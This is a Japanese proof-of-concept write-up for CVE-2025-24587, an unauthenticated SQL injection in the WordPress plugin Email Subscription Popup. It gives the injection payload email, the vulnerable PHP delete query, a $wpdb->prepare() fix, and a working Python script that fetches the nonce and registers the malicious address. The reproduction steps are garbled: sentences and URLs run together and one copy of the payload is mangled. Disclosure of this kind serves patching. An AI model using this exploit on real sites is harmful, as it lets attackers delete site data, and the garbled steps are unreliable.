
CVE-2025-24587のPoC
WordPress プラグイン
コンポーネント名 Email Subscription Popup
影響を受けるバージョン <= 1.2.23
コンポーネントスラッグ email-subscribe
コンポーネントリンク https://wordpress.org/plugins/email-subscribe/
脆弱性クラス A3: Injection
脆弱性タイプ SQL Injection
未認証
認証されていないユーザー(攻撃者)が、SQL インジェクションペイロードを含むメールアドレスを使用してニュースレターに登録します。その後、管理者が「Subscriber Management」ページに移動し、悪意のあるメールアドレスを選択して削除を要求すると、メールアドレスに埋め込まれた SQL インジェクションペイロードが実行されます。その結果、登録済みのすべてのメールアドレスがデータベースから削除されます。
poc.py.txt ファイルを実行し、SQL インジェクションの脆弱性を誘発するペイロードを含むメールアドレスでニュースレターに登録します。
'/**/OR/**/1=1#@a.apoc.py.txt に示されているとおり、HTTP リクエストパケットを直接送信してください。http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.'/****/**OR**/****/1=1#@a.a を選択し、下部にある「Delete Selected Subscribers」ボタンをクリックします。[脆弱性の原因]
この脆弱性は、ファイル wp-content/plugins/email-subscribe/wp-email-subscription.php の 2080 行目から 2084 行目にかけて発生します:
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의
# line 2083 ~ line 2084
$query = "delete from " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);
この問題を解決するには、WordPress が提供する $wpdb->prepare() を使用できます。この関数は、SQL クエリで使用される変数を安全にエスケープし、書式設定することで、SQL インジェクション攻撃を防ぎます。
$query = $wpdb->prepare(
"DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
$em
);
$wpdb->query($query);
import re
import string
import random
import requests
TARGET = "http://localhost:8080"
def poc():
####
# 1. Retrieve the value of 'sec_string' required for email subscription
####
resp = requests.get(f"{TARGET}")
pattern = r'var nonce = \'(.{10})\';'
match = re.search(pattern, resp.text)
if match:
sec_string = match.group(1)
print("[*] sec_string: " + sec_string)
####
# 2. Generate subscribers with random email addresses
####
random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
for i in range(10):
data = {
"action": "store_email",
"email": f"{random_string}_{i}@example.com",
"name": f"{random_string}_{i}",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
####
# 3. Create a malicious email address to delete all subscriptions
####
data = {
"action": "store_email",
"email": "'/**/OR/**/1=1#@a.a",
"name": "Email mine",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
else:
print("[-] 'sec_string' not found")
if __name__ == "__main__":
poc()